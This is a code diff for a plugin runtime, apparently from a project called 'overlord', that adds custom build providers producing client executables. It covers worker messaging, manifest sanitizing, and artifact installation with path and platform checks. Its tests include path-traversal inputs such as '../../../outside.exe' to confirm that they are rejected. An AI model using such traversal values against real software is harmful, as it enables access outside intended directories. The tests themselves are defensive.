describe("plugin build provider artifacts", () => {
|
||||||
|
test("installs validated artifacts with a unique build suffix", async () => {
|
||||||
|
const dirs = await fixture();
|
||||||
|
await writeFile(join(dirs.stagingDir, "lite.exe"), "rust-lite");
|
||||||
|
|
||||||
|
const files = installProviderArtifacts({
|
||||||
|
result: { artifacts: [{ filename: "lite.exe", platform: "windows-amd64", version: "0.1.0" }] },
|
||||||
|
stagingDir: dirs.stagingDir,
|
||||||
|
outputDir: dirs.outputDir,
|
||||||
|
buildId: dirs.buildId,
|
||||||
|
requestedPlatforms: ["windows-amd64"],
|
||||||
|
sanitizeOutputName: (name) => name.replace(/[^A-Za-z0-9._-]/g, ""),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(files).toEqual([{
|
||||||
|
name: "lite.exe",
|
||||||
|
filename: "lite-12345678.exe",
|
||||||
|
platform: "windows-amd64",
|
||||||
|
version: "0.1.0",
|
||||||
|
size: 9,
|
||||||
|
}]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("rejects traversal and unrequested platforms", async () => {
|
||||||
|
const dirs = await fixture();
|
||||||
|
await writeFile(join(dirs.root, "outside.exe"), "outside");
|
||||||
|
expect(() => installProviderArtifacts({
|
||||||
|
result: { artifacts: [{ path: "../../../outside.exe", filename: "outside.exe", platform: "windows-amd64" }] },
|
||||||
|
stagingDir: dirs.stagingDir,
|
||||||
|
outputDir: dirs.outputDir,
|
||||||
|
buildId: dirs.buildId,
|
||||||
|
requestedPlatforms: ["windows-amd64"],
|
||||||
|
sanitizeOutputName: (name) => name,
|
||||||
|
})).toThrow("escaped");
|
||||||
|
|
||||||
|
await writeFile(join(dirs.stagingDir, "lite"), "lite");
|
||||||
|
expect(() => installProviderArtifacts({
|
||||||
|
result: { artifacts: [{ filename: "lite", platform: "linux-arm64" }] },
|
||||||
|
stagingDir: dirs.stagingDir,
|
||||||
|
outputDir: dirs.outputDir,
|
||||||
|
buildId: dirs.buildId,
|
||||||
|
requestedPlatforms: ["linux-amd64"],
|
||||||
|
sanitizeOutputName: (name) => name,
|
||||||
|
})).toThrow("unrequested platform");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
import fs from "fs";
|
||||||
|
import path from "path";
|
||||||
|
|
||||||
|
const MAX_PROVIDER_ARTIFACTS = 32;
|
||||||
|
const MAX_PROVIDER_ARTIFACT_BYTES = 512 * 1024 * 1024;
|
||||||
|
|
||||||
|
export type ProviderArtifact = {
|
||||||
|
name: string;
|
||||||
|
filename: string;
|
||||||
|
platform: string;
|
||||||
|
version?: string;
|
||||||
|
size: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
function isRecord(value: unknown): value is Record<string, any> {
|
||||||
|
return !!value && typeof value === "object" && !Array.isArray(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
function isInside(root: string, target: string): boolean {
|
||||||
|
const prefix = root.endsWith(path.sep) ? root : `${root}${path.sep}`;
|
||||||
|
return target === root || target.startsWith(prefix);
|
||||||
|
}
|
||||||
|
|
||||||
|
function withBuildSlug(filename: string, slug: string): string {
|
||||||
|
const extension = path.extname(filename);
|
||||||
|
const stem = filename.slice(0, filename.length - extension.length);
|
||||||
|
return stem.endsWith(`-${slug}`) ? filename : `${stem}-${slug}${extension}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function providerStagingDirectory(runtimeRoot: string, buildId: string): string {
|
||||||
|
if (!/^[A-Za-z0-9-]{8,64}$/.test(buildId)) {
|
||||||
|
throw new Error("Invalid provider build id");
|
||||||
|
}
|
||||||
|
return path.join(runtimeRoot, "dist-clients", ".plugin-builds", buildId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function installProviderArtifacts(args: {
|
||||||
|
result: unknown;
|
||||||
|
stagingDir: string;
|
||||||
|
outputDir: string;
|
||||||
|
buildId: string;
|
||||||
|
requestedPlatforms: string[];
|
||||||
|
sanitizeOutputName: (name: string) => string;
|
||||||
|
}): ProviderArtifact[] {
|
||||||
|
if (!isRecord(args.result) || !Array.isArray(args.result.artifacts)) {
|
||||||
|
throw new Error("Build provider must return an artifacts array");
|
||||||
|
}
|
||||||
|
if (args.result.artifacts.length === 0) {
|
||||||
|
throw new Error("Build provider returned no artifacts");
|
||||||
|
}
|
||||||
|
if (args.result.artifacts.length > MAX_PROVIDER_ARTIFACTS) {
|
||||||
|
throw new Error(`Build provider returned more than ${MAX_PROVIDER_ARTIFACTS} artifacts`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const realStagingDir = fs.realpathSync(args.stagingDir);
|
||||||
|
const requestedPlatforms = new Set(args.requestedPlatforms);
|
||||||
|
const buildSlug = args.buildId.substring(0, 8);
|
||||||
|
const installed: ProviderArtifact[] = [];
|
||||||
|
const installedPaths: string[] = [];
|
||||||
|
const names = new Set<string>();
|
||||||
|
|
||||||
|
try {
|
||||||
|
for (const raw of args.result.artifacts) {
|
||||||
|
if (!isRecord(raw)) throw new Error("Build provider returned an invalid artifact");
|
||||||
|
const relativePath = typeof raw.path === "string" && raw.path.trim()
|
||||||
|
? raw.path.trim()
|
||||||
|
: typeof raw.filename === "string"
|
||||||
|
? raw.filename.trim()
|
||||||
|
: "";
|
||||||
|
if (!relativePath || path.isAbsolute(relativePath)) {
|
||||||
|
throw new Error("Provider artifact paths must be relative to the build output directory");
|
||||||
|
}
|
||||||
|
|
||||||
|
const sourcePath = path.resolve(args.stagingDir, relativePath);
|
||||||
|
if (!isInside(path.resolve(args.stagingDir), sourcePath)) {
|
||||||
|
throw new Error("Provider artifact escaped the build output directory");
|
||||||
|
}
|
||||||
|
const sourceStat = fs.lstatSync(sourcePath);
|
||||||
|
if (sourceStat.isSymbolicLink() || !sourceStat.isFile()) {
|
||||||
|
throw new Error("Provider artifacts must be regular files");
|
||||||
|
}
|
||||||
|
const realSourcePath = fs.realpathSync(sourcePath);
|
||||||
|
if (!isInside(realStagingDir, realSourcePath)) {
|
||||||
|
throw new Error("Provider artifact resolved outside the build output directory");
|
||||||
|
}
|
||||||
|
if (sourceStat.size <= 0 || sourceStat.size > MAX_PROVIDER_ARTIFACT_BYTES) {
|
||||||
|
throw new Error("Provider artifact has an invalid size");
|
||||||
|
}
|
||||||
|
|
||||||
|
const platform = typeof raw.platform === "string" ? raw.platform.trim() : "";
|
||||||
|
if (!requestedPlatforms.has(platform)) {
|
||||||
|
throw new Error(`Provider returned an artifact for unrequested platform ${platform || "<empty>"}`);
|
||||||
|
}
|
||||||
|
const suggestedName = typeof raw.filename === "string" && raw.filename.trim()
|
||||||
|
? path.basename(raw.filename.trim())
|
||||||
|
: path.basename(relativePath);
|
||||||
|
const sanitizedName = args.sanitizeOutputName(suggestedName);
|
||||||
|
if (!sanitizedName) throw new Error("Provider returned an invalid artifact filename");
|
||||||
|
const filename = withBuildSlug(sanitizedName, buildSlug);
|
||||||
|
if (names.has(filename)) throw new Error(`Provider returned duplicate artifact ${filename}`);
|
||||||
|
names.add(filename);
|
||||||
|
|
||||||
|
fs.mkdirSync(args.outputDir, { recursive: true });
|
||||||
|
const destinationPath = path.join(args.outputDir, filename);
|
||||||
|
fs.copyFileSync(realSourcePath, destinationPath);
|
||||||
|
installedPaths.push(destinationPath);
|
||||||
|
const size = fs.statSync(destinationPath).size;
|
||||||
|
installed.push({
|
||||||
|
name: typeof raw.name === "string" && raw.name.trim()
|
||||||
|
? raw.name.trim().slice(0, 128)
|
||||||
|
: suggestedName,
|
||||||
|
filename,
|
||||||
|
platform,
|
||||||
|
...(typeof raw.version === "string" && raw.version.trim() && { version: raw.version.trim().slice(0, 64) }),
|
||||||
|
size,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return installed;
|
||||||
|
} catch (error) {
|
||||||
|
for (const installedPath of installedPaths) {
|
||||||
|
try { fs.unlinkSync(installedPath); } catch {}
|
||||||
|
}
|
||||||
|
throw error;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
import { afterEach, describe, expect, test } from "bun:test";
|
||||||
|
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
|
||||||
|
import { tmpdir } from "os";
|
||||||
|
import { join } from "path";
|
||||||
|
import { createPluginRuntime } from "./runtime";
|
||||||
|
|
||||||
|
const roots: string[] = [];
|
||||||
|
|
||||||
|
afterEach(async () => {
|
||||||
|
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
|
||||||
|
roots.length = 0;
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("plugin build providers", () => {
|
||||||
|
test("streams provider output and returns its artifacts", async () => {
|
||||||
|
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-test-"));
|
||||||
|
roots.push(root);
|
||||||
|
const pluginDir = join(root, "provider");
|
||||||
|
await mkdir(pluginDir, { recursive: true });
|
||||||
|
await writeFile(join(pluginDir, "server.js"), `
|
||||||
|
export default {
|
||||||
|
onBuild(ctx, payload) {
|
||||||
|
ctx.build.status("Compiling test provider", 35, 42);
|
||||||
|
ctx.build.output("cargo output", "success");
|
||||||
|
return { artifacts: [{ filename: payload.filename, platform: "windows-amd64" }] };
|
||||||
|
}
|
||||||
|
};
|
||||||
|
`);
|
||||||
|
|
||||||
|
const errors: string[] = [];
|
||||||
|
const runtime = createPluginRuntime({
|
||||||
|
pluginRoot: root,
|
||||||
|
workerHostUrl: new URL("./worker-host.ts", import.meta.url).href,
|
||||||
|
setLastError: (_pluginId, error) => errors.push(error),
|
||||||
|
});
|
||||||
|
try {
|
||||||
|
await runtime.startPlugin("provider");
|
||||||
|
const output: any[] = [];
|
||||||
|
const result = await runtime.runBuildProvider(
|
||||||
|
"provider",
|
||||||
|
{ filename: "lite.exe" },
|
||||||
|
(event) => output.push(event),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(result).toEqual({
|
||||||
|
artifacts: [{ filename: "lite.exe", platform: "windows-amd64" }],
|
||||||
|
});
|
||||||
|
expect(output).toEqual([
|
||||||
|
{ event: "status", text: "Compiling test provider", level: undefined, progress: 35, etaSeconds: 42 },
|
||||||
|
{ event: "output", text: "cargo output", level: "success" },
|
||||||
|
]);
|
||||||
|
expect(errors).toEqual([]);
|
||||||
|
} finally {
|
||||||
|
await runtime.shutdownAll();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("rejects immediately when a stale worker lacks build-provider support", async () => {
|
||||||
|
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-stale-test-"));
|
||||||
|
roots.push(root);
|
||||||
|
const pluginDir = join(root, "provider");
|
||||||
|
await mkdir(pluginDir, { recursive: true });
|
||||||
|
await writeFile(join(pluginDir, "server.js"), "export default {};\n");
|
||||||
|
const staleWorker = join(root, "stale-worker.js");
|
||||||
|
await writeFile(staleWorker, `
|
||||||
|
self.onmessage = (event) => {
|
||||||
|
if (event.data?.type === "boot") self.postMessage({ type: "ready" });
|
||||||
|
};
|
||||||
|
`);
|
||||||
|
|
||||||
|
const runtime = createPluginRuntime({
|
||||||
|
pluginRoot: root,
|
||||||
|
workerHostUrl: staleWorker,
|
||||||
|
setLastError: () => {},
|
||||||
|
});
|
||||||
|
try {
|
||||||
|
await runtime.startPlugin("provider");
|
||||||
|
await expect(runtime.runBuildProvider("provider", {}, () => {})).rejects.toThrow(
|
||||||
|
"does not support build providers",
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
await runtime.shutdownAll();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -17,6 +17,18 @@ type PendingCall = {
|
|||||||
timer: ReturnType<typeof setTimeout>;
|
timer: ReturnType<typeof setTimeout>;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export type PluginBuildProviderOutput = {
|
||||||
|
event: "output" | "status";
|
||||||
|
text: string;
|
||||||
|
level?: "debug" | "info" | "warn" | "error" | "success";
|
||||||
|
progress?: number;
|
||||||
|
etaSeconds?: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
type PendingBuildProviderCall = PendingCall & {
|
||||||
|
onOutput: (output: PluginBuildProviderOutput) => void;
|
||||||
|
};
|
||||||
|
|
||||||
type PluginInstance = {
|
type PluginInstance = {
|
||||||
pluginId: string;
|
pluginId: string;
|
||||||
worker: Worker;
|
worker: Worker;
|
||||||
@@ -26,12 +38,15 @@ type PluginInstance = {
|
|||||||
isReady: boolean;
|
isReady: boolean;
|
||||||
pending: Map<string, PendingCall>;
|
pending: Map<string, PendingCall>;
|
||||||
pendingBuildHooks: Map<string, PendingCall>;
|
pendingBuildHooks: Map<string, PendingCall>;
|
||||||
|
pendingBuildProviders: Map<string, PendingBuildProviderCall>;
|
||||||
|
capabilities: Set<string>;
|
||||||
subscribers: Set<Subscriber>;
|
subscribers: Set<Subscriber>;
|
||||||
startedAt: number;
|
startedAt: number;
|
||||||
};
|
};
|
||||||
|
|
||||||
const RPC_TIMEOUT_MS = 30_000;
|
const RPC_TIMEOUT_MS = 30_000;
|
||||||
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
|
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
|
||||||
|
const BUILD_PROVIDER_TIMEOUT_MS = 30 * 60_000;
|
||||||
const SHUTDOWN_GRACE_MS = 750;
|
const SHUTDOWN_GRACE_MS = 750;
|
||||||
|
|
||||||
export type PluginRuntime = {
|
export type PluginRuntime = {
|
||||||
@@ -52,6 +67,11 @@ export type PluginRuntime = {
|
|||||||
) => Promise<unknown>;
|
) => Promise<unknown>;
|
||||||
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
|
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
|
||||||
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
|
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
|
||||||
|
runBuildProvider: (
|
||||||
|
pluginId: string,
|
||||||
|
payload: unknown,
|
||||||
|
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||||
|
) => Promise<unknown>;
|
||||||
subscribe: (
|
subscribe: (
|
||||||
pluginId: string,
|
pluginId: string,
|
||||||
send: (sse: string) => void,
|
send: (sse: string) => void,
|
||||||
@@ -111,6 +131,8 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
isReady: false,
|
isReady: false,
|
||||||
pending: new Map(),
|
pending: new Map(),
|
||||||
pendingBuildHooks: new Map(),
|
pendingBuildHooks: new Map(),
|
||||||
|
pendingBuildProviders: new Map(),
|
||||||
|
capabilities: new Set(),
|
||||||
subscribers: new Set(),
|
subscribers: new Set(),
|
||||||
startedAt: Date.now(),
|
startedAt: Date.now(),
|
||||||
};
|
};
|
||||||
@@ -172,6 +194,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
pending.reject(new Error("Plugin runtime stopped"));
|
pending.reject(new Error("Plugin runtime stopped"));
|
||||||
}
|
}
|
||||||
inst.pendingBuildHooks.clear();
|
inst.pendingBuildHooks.clear();
|
||||||
|
for (const pending of inst.pendingBuildProviders.values()) {
|
||||||
|
clearTimeout(pending.timer);
|
||||||
|
pending.reject(new Error("Plugin runtime stopped"));
|
||||||
|
}
|
||||||
|
inst.pendingBuildProviders.clear();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const shutdownMsg: WorkerInbound = { type: "shutdown" };
|
const shutdownMsg: WorkerInbound = { type: "shutdown" };
|
||||||
@@ -293,6 +320,42 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
return results;
|
return results;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function runBuildProvider(
|
||||||
|
pluginId: string,
|
||||||
|
payload: unknown,
|
||||||
|
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||||
|
): Promise<unknown> {
|
||||||
|
const inst = instances.get(pluginId);
|
||||||
|
if (!inst) {
|
||||||
|
return Promise.reject(new Error("Plugin runtime not running"));
|
||||||
|
}
|
||||||
|
const callOnReady = () =>
|
||||||
|
new Promise((resolve, reject) => {
|
||||||
|
if (!inst.capabilities.has("build_provider")) {
|
||||||
|
reject(new Error(
|
||||||
|
"Plugin worker does not support build providers. Rebuild the server bundle and restart the server.",
|
||||||
|
));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const id = uuidv4();
|
||||||
|
const timer = setTimeout(() => {
|
||||||
|
if (inst.pendingBuildProviders.delete(id)) {
|
||||||
|
reject(new Error("Build provider timed out"));
|
||||||
|
}
|
||||||
|
}, BUILD_PROVIDER_TIMEOUT_MS);
|
||||||
|
inst.pendingBuildProviders.set(id, { resolve, reject, timer, onOutput });
|
||||||
|
const msg: WorkerInbound = { type: "build_provider", id, payload };
|
||||||
|
try {
|
||||||
|
inst.worker.postMessage(msg);
|
||||||
|
} catch (err) {
|
||||||
|
clearTimeout(timer);
|
||||||
|
inst.pendingBuildProviders.delete(id);
|
||||||
|
reject(err instanceof Error ? err : new Error(String(err)));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
|
||||||
|
}
|
||||||
|
|
||||||
function subscribe(
|
function subscribe(
|
||||||
pluginId: string,
|
pluginId: string,
|
||||||
send: (sse: string) => void,
|
send: (sse: string) => void,
|
||||||
@@ -309,6 +372,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
|
|
||||||
function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
|
function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
|
||||||
if (msg.type === "ready") {
|
if (msg.type === "ready") {
|
||||||
|
inst.capabilities = new Set(Array.isArray(msg.capabilities) ? msg.capabilities : []);
|
||||||
inst.resolveReady();
|
inst.resolveReady();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -335,6 +399,27 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
else pending.reject(new Error(msg.error));
|
else pending.reject(new Error(msg.error));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg.type === "build_provider_output") {
|
||||||
|
const pending = inst.pendingBuildProviders.get(msg.id);
|
||||||
|
if (!pending) return;
|
||||||
|
pending.onOutput({
|
||||||
|
event: msg.event,
|
||||||
|
text: msg.text,
|
||||||
|
level: msg.level,
|
||||||
|
...(msg.progress !== undefined && { progress: msg.progress }),
|
||||||
|
...(msg.etaSeconds !== undefined && { etaSeconds: msg.etaSeconds }),
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msg.type === "build_provider_reply") {
|
||||||
|
const pending = inst.pendingBuildProviders.get(msg.id);
|
||||||
|
if (!pending) return;
|
||||||
|
clearTimeout(pending.timer);
|
||||||
|
inst.pendingBuildProviders.delete(msg.id);
|
||||||
|
if (msg.ok) pending.resolve(msg.result);
|
||||||
|
else pending.reject(new Error(msg.error));
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg.type === "broadcast") {
|
if (msg.type === "broadcast") {
|
||||||
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
|
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
|
||||||
const dataLine = JSON.stringify(msg.data ?? null);
|
const dataLine = JSON.stringify(msg.data ?? null);
|
||||||
@@ -370,6 +455,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
|||||||
rpc,
|
rpc,
|
||||||
runBuildHook,
|
runBuildHook,
|
||||||
runBuildHookForAll,
|
runBuildHookForAll,
|
||||||
|
runBuildProvider,
|
||||||
subscribe,
|
subscribe,
|
||||||
isRunning,
|
isRunning,
|
||||||
hasServerCode,
|
hasServerCode,
|
||||||
|
|||||||
@@ -31,16 +31,32 @@ export type WorkerInbound =
|
|||||||
hook: string;
|
hook: string;
|
||||||
payload: unknown;
|
payload: unknown;
|
||||||
}
|
}
|
||||||
|
| {
|
||||||
|
type: "build_provider";
|
||||||
|
id: string;
|
||||||
|
payload: unknown;
|
||||||
|
}
|
||||||
| {
|
| {
|
||||||
type: "shutdown";
|
type: "shutdown";
|
||||||
};
|
};
|
||||||
|
|
||||||
export type WorkerOutbound =
|
export type WorkerOutbound =
|
||||||
| { type: "ready" }
|
| { type: "ready"; capabilities?: string[] }
|
||||||
| { type: "boot_error"; error: string }
|
| { type: "boot_error"; error: string }
|
||||||
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
|
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
|
||||||
| { type: "rpc_reply"; id: string; ok: false; error: string }
|
| { type: "rpc_reply"; id: string; ok: false; error: string }
|
||||||
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
|
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
|
||||||
| { type: "build_hook_reply"; id: string; ok: false; error: string }
|
| { type: "build_hook_reply"; id: string; ok: false; error: string }
|
||||||
|
| { type: "build_provider_reply"; id: string; ok: true; result: unknown }
|
||||||
|
| { type: "build_provider_reply"; id: string; ok: false; error: string }
|
||||||
|
| {
|
||||||
|
type: "build_provider_output";
|
||||||
|
id: string;
|
||||||
|
event: "output" | "status";
|
||||||
|
text: string;
|
||||||
|
level?: "debug" | "info" | "warn" | "error" | "success";
|
||||||
|
progress?: number;
|
||||||
|
etaSeconds?: number;
|
||||||
|
}
|
||||||
| { type: "broadcast"; channel: string; data: unknown }
|
| { type: "broadcast"; channel: string; data: unknown }
|
||||||
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
|
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ type PluginExports = {
|
|||||||
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||||
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||||
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||||
|
onBuild?: (ctx: PluginBuildProviderContext, payload: unknown) => unknown | Promise<unknown>;
|
||||||
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
|
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -50,6 +51,13 @@ type PluginContext = {
|
|||||||
broadcast: (channel: string, data: unknown) => void;
|
broadcast: (channel: string, data: unknown) => void;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
type PluginBuildProviderContext = PluginContext & {
|
||||||
|
build: {
|
||||||
|
output: (text: string, level?: "debug" | "info" | "warn" | "error" | "success") => void;
|
||||||
|
status: (text: string, progress?: number, etaSeconds?: number) => void;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
let plugin: PluginExports | null = null;
|
let plugin: PluginExports | null = null;
|
||||||
let db: Database | null = null;
|
let db: Database | null = null;
|
||||||
let ctx: PluginContext | null = null;
|
let ctx: PluginContext | null = null;
|
||||||
@@ -99,7 +107,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
|||||||
await plugin.setup(ctx);
|
await plugin.setup(ctx);
|
||||||
}
|
}
|
||||||
|
|
||||||
send({ type: "ready" });
|
send({ type: "ready", capabilities: ["build_provider"] });
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
|
const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
|
||||||
send({ type: "boot_error", error });
|
send({ type: "boot_error", error });
|
||||||
@@ -184,6 +192,47 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (msg.type === "build_provider") {
|
||||||
|
if (!plugin || !ctx) {
|
||||||
|
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (typeof plugin.onBuild !== "function") {
|
||||||
|
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin does not export onBuild" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const buildCtx: PluginBuildProviderContext = {
|
||||||
|
...ctx,
|
||||||
|
build: {
|
||||||
|
output: (text, level = "info") => send({
|
||||||
|
type: "build_provider_output",
|
||||||
|
id: msg.id,
|
||||||
|
event: "output",
|
||||||
|
text: String(text),
|
||||||
|
level,
|
||||||
|
}),
|
||||||
|
status: (text, progress, etaSeconds) => send({
|
||||||
|
type: "build_provider_output",
|
||||||
|
id: msg.id,
|
||||||
|
event: "status",
|
||||||
|
text: String(text),
|
||||||
|
progress,
|
||||||
|
etaSeconds,
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
try {
|
||||||
|
const result = await plugin.onBuild(buildCtx, msg.payload);
|
||||||
|
send({ type: "build_provider_reply", id: msg.id, ok: true, result: result ?? null });
|
||||||
|
} catch (err) {
|
||||||
|
const error = err instanceof Error ? err.message : String(err);
|
||||||
|
const stack = err instanceof Error ? err.stack || "" : "";
|
||||||
|
console.error(`[plugin-worker] build provider error: ${error}`, stack);
|
||||||
|
send({ type: "build_provider_reply", id: msg.id, ok: false, error });
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
if (msg.type === "shutdown") {
|
if (msg.type === "shutdown") {
|
||||||
if (plugin && ctx && typeof plugin.teardown === "function") {
|
if (plugin && ctx && typeof plugin.teardown === "function") {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -175,6 +175,35 @@ describe("loadPluginBundle", () => {
|
|||||||
expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
|
expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test("preserves a sanitized custom build provider declaration", async () => {
|
||||||
|
const root = await createTempRoot();
|
||||||
|
const AdmZip = require("adm-zip");
|
||||||
|
const zip = new AdmZip();
|
||||||
|
zip.addFile("config.json", Buffer.from(JSON.stringify({
|
||||||
|
name: "Rust Builder",
|
||||||
|
runtime: "server",
|
||||||
|
build: {
|
||||||
|
provider: {
|
||||||
|
label: "Rust Lite",
|
||||||
|
icon: "fa-brands fa-rust",
|
||||||
|
platforms: ["windows-amd64", "linux-arm64", "../../invalid"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
})));
|
||||||
|
zip.addFile("rust-builder.html", Buffer.from("<main></main>"));
|
||||||
|
zip.addFile("rust-builder.css", Buffer.from("main { display: block; }"));
|
||||||
|
zip.addFile("rust-builder.js", Buffer.from("document.body.dataset.builder = 'rust';"));
|
||||||
|
zip.addFile("server.js", Buffer.from("export default { onBuild() { return { artifacts: [] }; } };"));
|
||||||
|
zip.writeZip(join(root, "rust-builder.zip"));
|
||||||
|
|
||||||
|
await ensurePluginExtracted(root, "rust-builder", (name) => name);
|
||||||
|
const manifest = JSON.parse(await readFile(join(root, "rust-builder", "manifest.json"), "utf-8"));
|
||||||
|
|
||||||
|
expect(manifest.build.provider.label).toBe("Rust Lite");
|
||||||
|
expect(manifest.build.provider.platforms).toEqual(["windows-amd64", "linux-arm64"]);
|
||||||
|
expect(manifest.hasServer).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
test("computes stable need hashes and invalidates changed approvals", () => {
|
test("computes stable need hashes and invalidates changed approvals", () => {
|
||||||
const state: PluginState = {
|
const state: PluginState = {
|
||||||
enabled: {},
|
enabled: {},
|
||||||
|
|||||||
@@ -682,6 +682,24 @@ function normalizePluginBuildIntegration(raw: any): any | undefined {
|
|||||||
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
|
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
|
||||||
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
|
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
|
||||||
|
|
||||||
|
if (raw.provider && typeof raw.provider === "object" && !Array.isArray(raw.provider)) {
|
||||||
|
const platforms = Array.isArray(raw.provider.platforms)
|
||||||
|
? Array.from(new Set<string>(raw.provider.platforms
|
||||||
|
.filter((value: unknown): value is string => typeof value === "string")
|
||||||
|
.map((value: string) => value.trim().toLowerCase())
|
||||||
|
.filter((value: string) => /^(windows|linux|darwin|freebsd|android|ios)-(amd64|arm64|386|armv7)$/.test(value))))
|
||||||
|
.slice(0, 32)
|
||||||
|
: [];
|
||||||
|
if (platforms.length > 0) {
|
||||||
|
build.provider = {
|
||||||
|
platforms,
|
||||||
|
...(typeof raw.provider.label === "string" && raw.provider.label.trim() && { label: raw.provider.label.trim().slice(0, 80) }),
|
||||||
|
...(typeof raw.provider.description === "string" && raw.provider.description.trim() && { description: raw.provider.description.trim().slice(0, 300) }),
|
||||||
|
...(typeof raw.provider.icon === "string" && raw.provider.icon.trim() && { icon: raw.provider.icon.trim().slice(0, 80) }),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const settings: any[] = [];
|
const settings: any[] = [];
|
||||||
if (Array.isArray(raw.settings)) {
|
if (Array.isArray(raw.settings)) {
|
||||||
for (const item of raw.settings.slice(0, 20)) {
|
for (const item of raw.settings.slice(0, 20)) {
|
||||||
|
|||||||
